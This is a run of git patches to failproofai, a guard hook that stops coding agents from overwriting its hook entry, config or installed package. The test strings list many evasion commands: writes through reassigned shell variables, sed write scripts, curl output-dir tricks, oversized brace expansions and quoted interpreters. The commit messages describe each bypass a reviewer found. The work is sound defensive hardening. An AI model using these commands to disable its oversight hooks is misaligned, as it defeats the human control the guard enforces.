+799,30 @@ describe("block-failproofai-commands — the entry a project-scope npx hook runs expect(await bashIn("/work/proj", command)).not.toBe("deny"); }); + // A value set only in a subshell, only for one command, or only if a test + // passes does not replace the one before it, so a word is read with every + // value the line gives its variables (found by hermes on + // FailproofAI/failproofai#1058). + it.each([ + ["/work/proj/node_modules/.bin", "F=failproofai; (F=x); printf y > $F"], + ["/work/proj/node_modules/.bin", "F=failproofai; F=x true; printf y > $F"], + ["/work/proj/node_modules/.bin", "F=failproofai; F=x env; cp /tmp/stub.sh $F"], + ["/work/proj/node_modules/.bin", Array.from({ length: 70 }, (_, i) => `F=v${i}`).join("; ") + "; F=failproofai; false && F=x; printf y > $F"], + ["/work/proj/node_modules/.bin", "F=failproofai; " + Array.from({ length: 70 }, (_, i) => `F=y${i} true`).join("; ") + "; printf y > $F"], + ["/work/proj", "D=node_modules/.bin; (D=/tmp); printf y > $D/failproofai"], + ["/work/proj", "D=node_modules/.bin; (D=/tmp); cp /tmp/stage/failproofai $D/"], + ])("denies a write through a variable another value may hold, from %s: %s", async (cwd, command) => { + expect(await bashIn(cwd, command)).toBe("deny"); + }); + + it.each([ + ["/work/proj/node_modules/.bin", "F=a; F=b; printf y > $F"], + ["/work/proj", "D=dist; (D=build); rm -rf $D"], + ["/work/proj", "F=a; F=b; echo " + Array(2000).fill("$F/$F").join(" ")], + ])("allows a reassigned variable that never reaches the entry, from %s: %s", async (cwd, command) => { + expect(await bashIn(cwd, command)).not.toBe("deny"); + }); + it.each([ ["/work/proj/node_modules/.bin", "curl -somy-tool https://example.com/x"], ["/work/proj/node_modules/.bin", "grep -ffailproofai notes.txt"], @@ -881,6 +922,8 @@ describe("block-failproofai-commands — the entry a project-scope npx hook runs "printf x > x/y/failproofai.cmd", "cp /tmp/stub.sh deps/failproofai/dist/cli.mjs", "sed -n 'wfailproofai' /tmp/stub.sh", + "F=failproofai; (F=x); printf y > $F", + 'F=failproofai; F=x true; printf y > "$F"', ])("denies a Codex command planting the entry wherever it runs: %s", async (command) => { expect(await bashAs("codex", { command })).toBe("deny"); }); diff --git a/src/hooks/builtin-policies.ts b/src/hooks/builtin-policies.ts index e09004a31..08291c9f0 100644 --- a/src/hooks/builtin-policies.ts +++ b/src/hooks/builtin-policies.ts @@ -1466,6 +1466,9 @@ const REDIRECT_TARGET_RE = /\d*>{1,2}\|?\s*("[^"]*"|'[^']*'|[^\s;&|<>]+)/g; * reader. */ function bareToken(token: string): string { + // A brace expansion keeps its braces: `{hook,x}` is two words to the shell, + // not `hook,x` (found by hermes on FailproofAI/failproofai#1058). + if (/\{[^{}]*(?:,|\.\.)[^{}]*\}/.test(token)) return token.replace(/^[()'"]+|[()'"]+$/g, ""); return token.replace(/^[(){}'"]+|[(){}'"]+$/g, ""); } @@ -1907,6 +1910,9 @@ const GLOB_DISK_LIMIT = 4096; /** How many of the words a brace expands to are each read on disk. */ const MAX_BRACE_WORDS_ON_DISK = 64; +/** How many values of reassigned variables one line is read with; past it the line is refused. */ +const VARIANT_BUDGET = 4096; + /** * The values an option word may carry glued on, each a path the command may * write: `--output=`, and the rest of a short-option cluster, @@ -1951,6 +1957,22 @@ function gluedOptionValues(head: string, word: string): string[] | null { function downloadLandings(words: string[]): Array<{ dir: string; name: string | null }> { const head = words.length > 0 ? commandBasename(words[0]) : ""; if (head !== "wget" && head !== "curl") return []; + // curl's `--next` (`-:`) starts a transfer with options of its own: each is + // read alone, so a later `--output-dir` cannot stand in for an earlier one + // (found by hermes on FailproofAI/failproofai#1058). + if (head === "curl") { + const transfers: string[][] = [[]]; + for (const word of words.slice(1)) { + if (word === "--next" || word === "-:") transfers.push([]); + else transfers[transfers.length - 1].push(word); + } + if (transfers.length > 1) return transfers.flatMap((transfer) => transferLandings(head, transfer)); + } + return transferLandings(head, words.slice(1)); +} + +/** `downloadLandings` for one transfer's arguments. */ +function transferLandings(head: string, args: string[]): Array<{ dir: string; name: string | null }> { const valueOptions = head === "wget" ? WGET_VALUE_OPTIONS : CURL_VALUE_OPTIONS; let dir = "."; let urlNamed = head === "wget"; @@ -1962,7 +1984,6 @@ function downloadLandings(words: string[]): Array<{ dir: string; name: string | // What curl's `-o` / `--output` name, which `--output-dir` also prefixes. const outputs: string[] = []; const urls: string[] = []; - const args = words.slice(1); for (let i = 0; i < args.length; i++) { const arg = args[i]; if (arg === "--") { @@ -2011,11 +2032,12 @@ function downloadLandings(words: string[]): Array<{ dir: string; name: string | } urls.push(arg); } - // curl puts a file `-o` names in `--output-dir` as well: `--output-dir - // node_modules/.bin -o failproofai` writes the entry (found by hermes on + // curl puts a file `-o` names in `--output-dir` as well, an absolute name + // too (joined, not replaced): `--output-dir node_modules/.bin -o failproofai` + // and `-o /failproofai` both write the entry (found by hermes on // FailproofAI/failproofai#1058). const landings: Array<{ dir: string; name: string | null }> = - head === "curl" && dirGiven ? outputs.filter((output) => relativeWord(output)).map((name) => ({ dir, name })) : []; + head === "curl" && dirGiven ? outputs.filter((output) => output !== "" && output !== "-").map((name) => ({ dir, name })) : []; if (!urlNamed || named || (recursive && !flat)) return landings; if (serverNamed || recursive) return [...landings, { dir, name: null }]; for (const url of urls) { @@ -2462,12 +2484,18 @@ function destroysFailproofaiState(command: string, depth = 0, startDir?: string, if (real === ELOOP) return true; if (typeof real !== "string") return lostNamesState({ via: real.via, lost: real.lost === "" ? pattern : `${real.lost}/${pattern}` }); if (real !== shellPath(undefined, raw) && namesState(`${real === "/" ? "" : real}/${pattern}`)) return true; - if (!inDirectory) return false; + // A pattern only in the last component matches names in one directory: + // what counts there is a match that is a link (`hoo*` reaching `hook`, a + // link to the entry). In npm's bin directory or a `node_modules`, its + // names are what the pattern is read against, so a sweep stays a sweep. + if (!inDirectory && (NPM_BIN_DIRECTORY_RE.test(real) || /(?:^|\/)(?:node_modules|\.pnpm)$/i.test(real))) return false; const matches = expandOnDisk(real, pattern); - if (matches === null) return true; + if (matches === null) return inDirectory; return matches.some((match) => { const reached = realPath(match); - return reached === ELOOP ? true : typeof reached !== "string" ? lostNamesState(reached) : namesState(reached); + if (reached === ELOOP) return true; + if (typeof reached !== "string") return lostNamesState(reached); + return (inDirectory || reached !== shellPath(undefined, match)) && namesState(reached); }); }); }; @@ -2587,6 +2615,46 @@ function destroysFailproofaiState(command: string, depth = 0, startDir?: string, return out; }; const expand = (word: string): string => expandAt(word, at); + // Every value the line gives each variable. One set only in a subshell or + // only for one command (`(F=x)`, `F=x true`) does not replace the value + // before it, so a word is also read with each other value its variables are + // given (found by hermes on FailproofAI/failproofai#1058). + // Outside a loop only what the line has assigned by the point the walk + // reaches counts, as with `values`; in one, every assignment may come first. + const everyValue = new Map(); + let reassigned = false; + const variantsByWord = new Map(); + const assigned = (name: string, value: string) => { + const seen = everyValue.get(name) ?? []; + if (seen.includes(value)) return; + seen.push(value); + everyValue.set(name, seen); + if (seen.length > 1) reassigned = true; + variantsByWord.clear(); + }; + if (LOOP_HEADER_RE.test(command)) for (const [name, value] of assignments) assigned(name, value); + // Every value is tried, so decoys in front of or after the one that counts + // cannot push it out of reach; past VARIANT_BUDGET tries the line is refused + // as one the walk could not read. + let variantBudget = VARIANT_BUDGET; + const variantsOf = (word: string): string[] => { + if (!reassigned || !word.includes("$")) return []; + const known = variantsByWord.get(word); + if (known !== undefined) return known; + const variants = new Set(); + const current = expand(word); + for (const [, name] of word.matchAll(VAR_REFERENCE_RE)) { + for (const value of everyValue.get(name) ?? []) { + if (--variantBudget < 0) throw new Error("a variable is reassigned too many times to follow"); + const replaced = word.split(`\${${name}}`).join(value).replace(new RegExp(`\\$${name}(?![A-Za-z0-9_])`, "g"), () => value); + const variant = expand(replaced); + if (variant !== current) variants.add(variant); + } + } + const found = [...variants]; + variantsByWord.set(word, found); + return found; + }; // `$PWD` and `~+` name wherever the shell stands, which after a move that // may have failed is any of the places it may be. const NAMES_PWD_RE = /\$\{?PWD\b|^~\+/; @@ -2872,7 +2940,12 @@ function destroysFailproofaiState(command: string, depth = 0, startDir?: string, pending = []; } if (!pipeline.trim()) continue; - for (const [, name, value] of pipeline.matchAll(ASSIGNMENT_RE)) values.set(name, value.replace(/^["']|["']$/g, "")); + for (const [, name, value] of pipeline.matchAll(ASSIGNMENT_RE)) { + const bare = value.replace(/^["']|["']$/g, ""); + if (values.has(name)) assigned(name, values.get(name)!); + values.set(name, bare); + assigned(name, bare); + } const simpleCommands = pipeline.split("|"); const reachesState = namesState(pipeline) || cwdInState || loopCarriesState; if (reachesState && LOOP_HEADER_RE.test(pipeline)) loopCarriesState = true; @@ -2888,6 +2961,7 @@ function destroysFailproofaiState(command: string, depth = 0, startDir?: string, const written = target.replace(/^["']|["']$/g, ""); if (namesHere(written) || namesHere(expand(written)) || expandEverywhere(written).some(namesHere)) return true; if (anywhereHere() && (plantsAnywhere(written) || plantsAnywhere(expand(written)))) return true; + if (variantsOf(written).some((variant) => namesHere(variant) || (anywhereHere() && plantsAnywhere(variant)))) return true; } for (const simple of simpleCommands) { @@ -2901,6 +2975,23 @@ function destroysFailproofaiState(command: string, depth = 0, startDir?: string, if (alts.length > 0 && words.some((word) => NAMES_PWD_RE.test(word))) { for (const alt of alts) lists.push(words.map((word) => expandAt(word, alt))); } + // The line read with each other value a reassigned variable may hold + // that could reach what is protected: the path itself, npm's bin + // directory, or the entry from a directory the agent may not report. + const variantLists: string[][] = []; + for (let k = 1; k < words.length; k++) { + for (const variant of variantsOf(words[k])) { + const reaches = + namesHere(variant) || + NPM_BIN_DIRECTORY_RE.test(variant.replace(/[\\/]+$/, "")) || + isBinDir(variant) || + (anywhereHere() && plantsAnywhere(variant)); + if (!reaches) continue; + if (variantLists.length >= 16) throw new Error("a variable is reassigned too many times to follow"); + variantLists.push(expanded.map((word, j) => (j === k ? variant : word))); + } + } + lists.push(...variantLists); const head = words.length > 0 ? commandBasename(words[0]) : ""; if (head === "cd" || head === "pushd" || head === "popd") { // Every stage of a pipeline runs in a subshell of its own, so a `cd` @@ -2959,6 +3050,7 @@ function destroysFailproofaiState(command: string, depth = 0, startDir?: string, return values === null || values.some(gluedValueNamesHere); }), ) || + variantLists.length > 0 || // A file a sed script writes, read the same way. (head === "sed" && lists.some((list) => sedWriteTargets(list.slice(1)).some(namesHere)))) && lists.some((list) => simpleCommandDestroys(list, namesHere)) From b93822d02f31a39fd3ff2e10b4f767df9d90c176 Mon Sep 17 00:00:00 2001 From: NiveditJain Date: Wed, 25 Nov 2026 14:28:51 +0530 Subject: [PATCH 49/60] [hooks] Read a sed write after an address, and keep quoted separators in their command hermes's review of 3f0205f7 (FailproofAI/failproofai#1058): `sed -n '1wnode_modules/.bin/failproofai'`, and `1whook` with hook a link to the entry, wrote it, because a `w` after a line-number address was read as part of a word. Every `w` that starts a command or is an `s///` flag is now read: after an address (`1w`, `10,20w`, `$w`, `1!w`, `/re/w`), a separator, or a delimiter and other flags, in a linear scan bounded at 64 files per command. The walk also split a line at a `;`, `&` or `|` inside quotes, which cut `sed -e 's/w/x/;1whook'` into two commands neither of which wrote the hook. It now splits only where the shell does; the unescaped pass still splits every separator, so this only adds readings. No decision changes on the 12,224 test strings, as written or as Codex commands. Co-Authored-By: Claude Opus 5.5 --- __tests__/hooks/guard-npx-local-bin.test.ts | 13 +++++ src/hooks/builtin-policies.ts | 62 +++++++++++++++++++-- 2 files changed, 70 insertions(+), 5 deletions(-) diff --git a/__tests__/hooks/guard-npx-local-bin.test.ts b/__tests__/hooks/guard-npx-local-bin.test.ts index 1f27266d8..4960fe4a4 100644 --- a/__tests__/hooks/guard-npx-local-bin.test.ts +++ b/__tests__/hooks/guard-npx-local-bin.test.ts @@ -264,6 +264,8 @@ describe("block-failproofai-commands — the entry a project-scope npx hook runs it("denies a sed script writing the entry through a link", async () => { expect(await bashIn(join(root, "proj"), "sed -n 'w tools/bins/failproofai' /tmp/stub.sh")).toBe("deny"); + expect(await bashIn(join(root, "proj"), "sed -n '1wtools/hook' /tmp/stub.sh")).toBe("deny"); + expect(await bashIn(join(root, "proj"), "sed -e 's/w/x/;1wtools/hook' /tmp/stub.sh")).toBe("deny"); }); it("denies a named output that curl puts into a linked --output-dir", async () => { @@ -784,6 +786,13 @@ describe("block-failproofai-commands — the entry a project-scope npx hook runs ["/work/proj", "sed -n --expression='w node_modules/failproofai/dist/cli.mjs' /tmp/stub.sh"], ["/work/proj/node_modules/.bin", "sed -n 'wfailproofai' /tmp/stub.sh"], ["/work/proj", "cd node_modules/.bin && sed -n 'wfailproofai' /tmp/stub.sh"], + // After an address, and in a script whose `;` is quoted text (found by + // hermes on FailproofAI/failproofai#1058). + ["/work/proj", "sed -n '1wnode_modules/.bin/failproofai' /tmp/stub.sh"], + ["/work/proj", "sed -n '10,20wnode_modules/.bin/failproofai' /tmp/stub.sh"], + ["/work/proj", "sed -n '$wnode_modules/.bin/failproofai' /tmp/stub.sh"], + ["/work/proj", "sed -n '1!wnode_modules/.bin/failproofai' /tmp/stub.sh"], + ["/work/proj/node_modules/.bin", "sed -e 's/w/x/;1wfailproofai' /tmp/stub.sh"], ])("denies a sed script writing the entry from %s: %s", async (cwd, command) => { expect(await bashIn(cwd, command)).toBe("deny"); }); @@ -795,6 +804,9 @@ describe("block-failproofai-commands — the entry a project-scope npx hook runs "sed -n '/failproofai/p' notes.txt", "sed 's/www/web/g' urls.txt", "sed -n 'w /tmp/copy.txt' node_modules/.bin/failproofai", + "sed -n '1w out.txt' notes.txt", + "sed -n 'bigwig' notes.txt", + "sed 's/new/old/g; s/a/b/' notes.txt", ])("allows a sed script that writes no protected file: %s", async (command) => { expect(await bashIn("/work/proj", command)).not.toBe("deny"); }); @@ -811,6 +823,7 @@ describe("block-failproofai-commands — the entry a project-scope npx hook runs ["/work/proj/node_modules/.bin", "F=failproofai; " + Array.from({ length: 70 }, (_, i) => `F=y${i} true`).join("; ") + "; printf y > $F"], ["/work/proj", "D=node_modules/.bin; (D=/tmp); printf y > $D/failproofai"], ["/work/proj", "D=node_modules/.bin; (D=/tmp); cp /tmp/stage/failproofai $D/"], + ["/work/proj/node_modules/.bin", "F=failproofai; F=x | true; printf y > $F"], ])("denies a write through a variable another value may hold, from %s: %s", async (cwd, command) => { expect(await bashIn(cwd, command)).toBe("deny"); }); diff --git a/src/hooks/builtin-policies.ts b/src/hooks/builtin-policies.ts index 08291c9f0..87368b257 100644 --- a/src/hooks/builtin-policies.ts +++ b/src/hooks/builtin-policies.ts @@ -1852,9 +1852,21 @@ function simpleCommandDestroys(words: string[], namesState: (text: string) => bo function sedWriteTargets(args: string[]): string[] { const targets: string[] = []; for (const arg of args) { - if (!/[wW]/.test(arg)) continue; - for (const [, written] of arg.matchAll(/(?:^|[;{}\n]|[^\w\s\\][gpiImMeE0-9]*)[ \t]*[wW][ \t]*([^\n]+)/g)) { - const name = written.trim(); + for (let i = 0; i < arg.length; i++) { + if (arg[i] !== "w" && arg[i] !== "W") continue; + // A `w` that starts a command or is an `s///` flag: at the start, after + // a separator or an address (`1w`, `$w`, `1,5w`, `0~2w`, `1!w`, `/re/w`; + // found by hermes on FailproofAI/failproofai#1058), or after a delimiter + // and other flags (`s/a/b/gw`). After a letter it is part of a word. + let j = i - 1; + while (j >= 0 && (arg[j] === " " || arg[j] === "\t")) j--; + let k = j; + while (k >= 0 && /[gpiImMeE0-9]/.test(arg[k])) k--; + const starts = j < 0 || !/[A-Za-z_\\]/.test(arg[j]) || (k >= 0 && k < j && !/[\w\s\\]/.test(arg[k])); + if (!starts) continue; + if (targets.length >= MAX_SED_TARGETS) throw new Error("a sed script names too many files to check"); + const end = arg.indexOf("\n", i); + const name = arg.slice(i + 1, Math.min(end === -1 ? arg.length : end, i + 1 + PATH_MAX_BYTES)).trim(); if (name === "") continue; targets.push(name); const cut = name.split(/[;}]/)[0].trim(); @@ -1864,6 +1876,46 @@ function sedWriteTargets(args: string[]): string[] { return targets; } +/** More files than a sed script writes in practice; past it the line is refused unread. */ +const MAX_SED_TARGETS = 64; + +/** What the shell splits a line at, when it is not quoted or escaped. */ +const SEPARATOR_CHARS = /[;&|\n\r]/; + +/** + * `text` split at `separator`, the separators kept between the pieces as + * `String.split` keeps a capture group, except where a separator is quoted or + * escaped: the shell reads that as text, so `sed -e 's/w/x/;1whook'` keeps its + * whole script (found by hermes on FailproofAI/failproofai#1058). The pieces + * are the text as written. + */ +function splitUnquoted(text: string, separator: RegExp): string[] { + const chars: string[] = []; + let quote: "'" | '"' | null = null; + for (let i = 0; i < text.length; i++) { + const ch = text[i]; + if (ch === "\\" && quote !== "'" && i + 1 < text.length) { + chars.push(ch, SEPARATOR_CHARS.test(text[i + 1]) ? "\u0001" : text[i + 1]); + i++; + continue; + } + if (quote === null) { + if (ch === "'" || ch === '"') quote = ch; + chars.push(ch); + continue; + } + if (ch === quote) quote = null; + chars.push(quote !== null && SEPARATOR_CHARS.test(ch) ? "\u0001" : ch); + } + const out: string[] = []; + let offset = 0; + for (const piece of chars.join("").split(new RegExp(`(${separator.source})`))) { + out.push(text.slice(offset, offset + piece.length)); + offset += piece.length; + } + return out; +} + /** * True when a flag on this command names the state as an output file. * @@ -2930,7 +2982,7 @@ function destroysFailproofaiState(command: string, depth = 0, startDir?: string, // rm -rf $f; done` is a header that only expands and a body that only deletes // something called `$f`. let loopCarriesState = false; - const parts = command.split(new RegExp(`(${PIPELINE_SEPARATORS.source})`)); + const parts = splitUnquoted(command, PIPELINE_SEPARATORS); for (let part = 0; part < parts.length; part += 2) { const pipeline = parts[part]; // A move the next command does not depend on may have failed, so from @@ -2946,7 +2998,7 @@ function destroysFailproofaiState(command: string, depth = 0, startDir?: string, values.set(name, bare); assigned(name, bare); } - const simpleCommands = pipeline.split("|"); + const simpleCommands = splitUnquoted(pipeline, /\|/).filter((_, k) => k % 2 === 0); const reachesState = namesState(pipeline) || cwdInState || loopCarriesState; if (reachesState && LOOP_HEADER_RE.test(pipeline)) loopCarriesState = true; if (/(?:^|\s)done(?:\s|$)/.test(pipeline)) loopCarriesState = false; From 7d7ebddc31b48b9b1eb60572c6273da7b635904b Mon Sep 17 00:00:00 2001 From: NiveditJain Date: Wed, 25 Nov 2026 15:01:15 +0530 Subject: [PATCH 50/60] [hooks] Close hermes's three P1s: quoted interpreters, unexamined brace words, variable combinations MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit hermes's review of b93822d0 (FailproofAI/failproofai#1058), each reproduced with real Bash in a scratch fixture first: - Quoted interpreters. The printed-text check read each command word with its quoted characters blanked, so `echo 'printf x > .failproofai/…' > notes; 'sh' notes` (a regression from main) saw no interpreter and let the print through as documentation. The command word is now read as the shell reads it, quotes and escapes removed; a runner anywhere in the piece (`time sh`), a command word the walk cannot read (`"$SHELL"`) and one named by a path all count, and reserved words are still read as written. - Unexamined brace words. `tee {x{a,b,c,d}{1,2,3,4}{i,j,k,l},hook}` wrote through `hook`, its 65th word, past the 64 the check read. Every word a brace expands to is now read, a literal one as a path lookup; only words that are still patterns are capped at 64 on-disk expansions, and past that the command is refused rather than the rest dropped. - Variable combinations. Swapping one variable's other value in at a time never spelled `failproofai` from `A=fail; B=proofai; (A=x; B=y); … $A$B`. Every combination of the values of the reassigned variables a word names is now tried, one value per variable, within the 4,096 budget, past which the line is refused. Eleven regression tests fail on b93822d0 and pass here. No decision changes on the 12,224 test strings, as written or as Codex commands. Co-Authored-By: Claude Opus 5.5 --- __tests__/hooks/guard-npx-local-bin.test.ts | 26 +++++++++ src/hooks/builtin-policies.ts | 59 ++++++++++++++++----- 2 files changed, 71 insertions(+), 14 deletions(-) diff --git a/__tests__/hooks/guard-npx-local-bin.test.ts b/__tests__/hooks/guard-npx-local-bin.test.ts index 4960fe4a4..7cd9086ad 100644 --- a/__tests__/hooks/guard-npx-local-bin.test.ts +++ b/__tests__/hooks/guard-npx-local-bin.test.ts @@ -405,6 +405,11 @@ describe("block-failproofai-commands — the entry a project-scope npx hook runs "printf x > ho?k", "cp /tmp/stub.sh {hook,nothing}", "tee {hook,x} < /tmp/stub.sh", + // Past the brace words that are expanded on disk, the rest are refused, + // not dropped: `hook` is the 65th word here (found by hermes on + // FailproofAI/failproofai#1058). + "tee {x{a,b,c,d}{1,2,3,4}{i,j,k,l},hook} { expect(await bashIn(join(root, "proj"), command)).toBe("deny"); }); @@ -421,6 +426,8 @@ describe("block-failproofai-commands — the entry a project-scope npx hook runs "rm -rf node_modules/*", "ls *", "cat hook", + "tee {x{a,b,c,d}{1,2,3,4}{i,j,k,l},notes} { expect(await bashIn(join(root, "proj"), command)).not.toBe("deny"); }); @@ -824,6 +831,13 @@ describe("block-failproofai-commands — the entry a project-scope npx hook runs ["/work/proj", "D=node_modules/.bin; (D=/tmp); printf y > $D/failproofai"], ["/work/proj", "D=node_modules/.bin; (D=/tmp); cp /tmp/stage/failproofai $D/"], ["/work/proj/node_modules/.bin", "F=failproofai; F=x | true; printf y > $F"], + // Every combination of the values of the variables one word names + // (found by hermes on FailproofAI/failproofai#1058). + ["/work/proj", "A=fail; B=proofai; (A=x; B=y); printf x > node_modules/.bin/$A$B"], + ["/work/proj", "A=fail; B=proofai; A=x true; B=y true; printf x > node_modules/.bin/${A}${B}"], + ["/work/proj", "A=fa; B=il; C=proofai; (A=x; B=y; C=z); printf x > node_modules/.bin/$A$B$C"], + // More combinations than are tried is refused, not guessed at. + ["/work/proj", Array.from({ length: 13 }, (_, i) => `V${i}=a; V${i}=b`).join("; ") + "; printf x > " + Array.from({ length: 13 }, (_, i) => `$V${i}`).join("")], ])("denies a write through a variable another value may hold, from %s: %s", async (cwd, command) => { expect(await bashIn(cwd, command)).toBe("deny"); }); @@ -832,6 +846,8 @@ describe("block-failproofai-commands — the entry a project-scope npx hook runs ["/work/proj/node_modules/.bin", "F=a; F=b; printf y > $F"], ["/work/proj", "D=dist; (D=build); rm -rf $D"], ["/work/proj", "F=a; F=b; echo " + Array(2000).fill("$F/$F").join(" ")], + ["/work/proj", "A=a; A=b; B=c; B=d; printf x > $A$B"], + ["/work/proj", Array.from({ length: 12 }, (_, i) => `V${i}=a; V${i}=b`).join("; ") + "; printf x > " + Array.from({ length: 12 }, (_, i) => `$V${i}`).join("")], ])("allows a reassigned variable that never reaches the entry, from %s: %s", async (cwd, command) => { expect(await bashIn(cwd, command)).not.toBe("deny"); }); @@ -874,6 +890,7 @@ describe("block-failproofai-commands — the entry a project-scope npx hook runs "echo 'printf x > node_modules/.bin/failproofai' | tee /tmp/s.sh", "echo 'printf x > node_modules/.bin/failproofai' | cat > /tmp/s.sh", "echo 'cat > node_modules/.bin/failproofai'; echo done", + "echo 'cat > node_modules/.bin/failproofai' > docs/notes.md && git add docs/notes.md", ])("allows printing a command as text: %s", async (command) => { expect(await bash(command)).toBe("allow"); }); @@ -905,6 +922,15 @@ describe("block-failproofai-commands — the entry a project-scope npx hook runs "exec > >(sh); echo 'printf x > node_modules/.bin/failproofai'", "exec >/tmp/s.sh; echo 'printf x > node_modules/.bin/failproofai'; sh /tmp/s.sh", 'echo "$(cat > node_modules/.bin/failproofai < /tmp/stub.sh)"', + // An interpreter spelled with quotes or an escape is still an + // interpreter, and so is one behind `time` or a variable (found by + // hermes on FailproofAI/failproofai#1058). + "echo 'printf x > .failproofai/policies-config.json' > notes; 'sh' notes", + "echo 'printf x > .failproofai/policies-config.json' > notes; \"sh\" notes", + "echo 'printf x > .failproofai/policies-config.json' > notes; s'h' notes", + "echo 'printf x > .failproofai/policies-config.json' > notes; \\sh notes", + "echo 'printf x > .failproofai/policies-config.json' > notes; time sh notes", + "echo 'printf x > .failproofai/policies-config.json' > notes; \"$SHELL\" notes", ])("denies quoted text something runs, or a real redirect: %s", async (command) => { expect(await bash(command)).toBe("deny"); }); diff --git a/src/hooks/builtin-policies.ts b/src/hooks/builtin-policies.ts index 87368b257..f2c66aea8 100644 --- a/src/hooks/builtin-policies.ts +++ b/src/hooks/builtin-policies.ts @@ -2551,11 +2551,21 @@ function destroysFailproofaiState(command: string, depth = 0, startDir?: string, }); }); }; + // Every word a brace expands to is read: a literal one as the path it is, + // which costs a lookup, and one that is still a pattern on disk, of which + // at most MAX_BRACE_WORDS_ON_DISK are expanded. Past that the rest are + // refused rather than dropped: `tee {x{a,b,c,d}{1,2,3,4}{i,j,k,l},hook}` + // wrote through `hook` as its 65th word (found by hermes on + // FailproofAI/failproofai#1058). const globLandsOnState = (written: string): boolean => { - const words = expandBraces(written); - for (let w = 0; w < words.length && w < MAX_BRACE_WORDS_ON_DISK; w++) { - const word = words[w]; - if (GLOB_METACHAR_RE.test(word) ? patternLandsOnState(word) : word !== written && landsOnState(word)) return true; + let patterns = 0; + for (const word of expandBraces(written)) { + if (!GLOB_METACHAR_RE.test(word)) { + if (word !== written && landsOnState(word)) return true; + continue; + } + if (++patterns > MAX_BRACE_WORDS_ON_DISK) return true; + if (patternLandsOnState(word)) return true; } return false; }; @@ -2689,20 +2699,35 @@ function destroysFailproofaiState(command: string, depth = 0, startDir?: string, // cannot push it out of reach; past VARIANT_BUDGET tries the line is refused // as one the walk could not read. let variantBudget = VARIANT_BUDGET; + // Every combination of the values of the reassigned variables a word names, + // one value per variable as the shell uses it: `A=fail; B=proofai; (A=x; + // B=y); printf x > node_modules/.bin/$A$B` writes `failproofai`, which + // swapping one variable at a time never spelled (found by hermes on + // FailproofAI/failproofai#1058). const variantsOf = (word: string): string[] => { if (!reassigned || !word.includes("$")) return []; const known = variantsByWord.get(word); if (known !== undefined) return known; + const names = [...new Set([...word.matchAll(VAR_REFERENCE_RE)].map(([, name]) => name))].filter( + (name) => (everyValue.get(name)?.length ?? 0) > 1, + ); + let combinations = 1; + for (const name of names) combinations *= everyValue.get(name)!.length; + variantBudget -= names.length === 0 ? 0 : combinations; + if (variantBudget < 0) throw new Error("a variable is reassigned too many times to follow"); const variants = new Set(); const current = expand(word); - for (const [, name] of word.matchAll(VAR_REFERENCE_RE)) { - for (const value of everyValue.get(name) ?? []) { - if (--variantBudget < 0) throw new Error("a variable is reassigned too many times to follow"); - const replaced = word.split(`\${${name}}`).join(value).replace(new RegExp(`\\$${name}(?![A-Za-z0-9_])`, "g"), () => value); - const variant = expand(replaced); + const substitute = (text: string, name: string, value: string): string => + text.split(`\${${name}}`).join(value).replace(new RegExp(`\\$${name}(?![A-Za-z0-9_])`, "g"), () => value); + const choose = (index: number, text: string): void => { + if (index === names.length) { + const variant = expand(text); if (variant !== current) variants.add(variant); + return; } - } + for (const value of everyValue.get(names[index])!) choose(index + 1, substitute(text, names[index], value)); + }; + if (names.length > 0) choose(0, word); const found = [...variants]; variantsByWord.set(word, found); return found; @@ -4444,14 +4469,20 @@ function blankPrintedRedirects(command: string): string { let bare = ""; for (let i = 0; i < command.length; i++) bare += text[i] ? " " : command[i]; if (/\w\s*\(\s*\)/.test(bare)) return command; - // Each piece's command word, past any assignments in front of it. + // Each piece's command word, past any assignments in front of it: as the + // shell reads it, quotes and escapes removed (`'sh'` runs `sh`; found by + // hermes on FailproofAI/failproofai#1058), and as written with its text + // blanked, which is how a reserved word stands. A runner anywhere in the + // piece (`time sh`, `command sh`) counts, and so does a command word the + // walk cannot read (`"$SHELL" notes`) or one named by a path. const commandOf = (from: number, to: number): string => bare.slice(from, to).trim().split(/\s+/).find((word) => !/^[A-Za-z_]\w*=/.test(word)) ?? ""; let runsFiles = false; for (const { start: from, end: to } of pieces) { - const word = commandOf(from, to); - if (RUNS_PRINTED_TEXT.has(word)) return command; - if (RUNS_FILES.has(word) || word.includes("/")) runsFiles = true; + const words = shellWords(command.slice(from, to)).map(({ raw }) => stripShellQuoting(raw)); + const head = words.find((word) => !/^[A-Za-z_]\w*=/.test(word)) ?? ""; + if (RUNS_PRINTED_TEXT.has(commandOf(from, to)) || RUNS_PRINTED_TEXT.has(head)) return command; + if (head.includes("/") || /[$`]/.test(head) || words.some((word) => RUNS_FILES.has(word))) runsFiles = true; } // Whether a piece stands alone at the top of the line with only harmless From 6fcdfdd15aa55ee2274fe48ca2ccf7c4f7d0f8ff Mon Sep 17 00:00:00 2001 From: NiveditJain Date: Wed, 25 Nov 2026 15:24:34 +0530 Subject: [PATCH 51/60] [hooks] Guard OpenClaw's native apply_patch, which reaches policies uncanonicalized OpenClaw passes its own apply_patch tool to policies under that name, where Codex's arrives as Edit. The always-on guard matched only Bash and the file tools, so an OpenClaw patch that added node_modules/.bin/failproofai, or rewrote failproofai's state or installed package, never reached it. The catalog matcher now includes apply_patch, and the file-tool branch reads its patch carrier keys the way it reads Codex's. Co-Authored-By: Claude Opus 5.5 --- CHANGELOG.md | 2 +- .../hooks/guard-openclaw-apply-patch.test.ts | 43 +++++++++++++++++++ src/hooks/builtin-policies.ts | 4 +- src/hooks/policy-catalog.ts | 6 ++- 4 files changed, 51 insertions(+), 4 deletions(-) create mode 100644 __tests__/hooks/guard-openclaw-apply-patch.test.ts diff --git a/CHANGELOG.md b/CHANGELOG.md index cf323f656..79d3e47ae 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -18,7 +18,7 @@ - Harden the privileged service install. Every file failproofai writes as root (the systemd unit, the launchd plist, Codex's system config and the daemon's copy under `/opt`) now reaches root as bytes on stdin and is checked against its SHA-256 before it is put in place; the daemon's copy is also held to the digest the build recorded, and a daemon binary that is a symbolic link is refused. `sudo` and every program it runs are named by absolute path from `/usr/bin`, `/bin`, `/usr/sbin` and `/sbin` and start with a minimal environment, the credential prompt included. The commands printed when sudo is not available do the same, run as printed, and on macOS carry the plist itself (#1060) - The always-on guard (`block-failproofai-commands`) now protects failproofai's installed code, not only its state. A user-scope hook runs the package `which failproofai` found, which under nvm, Homebrew, Volta, bun, pnpm, yarn or the npx cache the agent's own user can write, so a Write of `process.exit(0)` over `dist/cli.mjs` turned 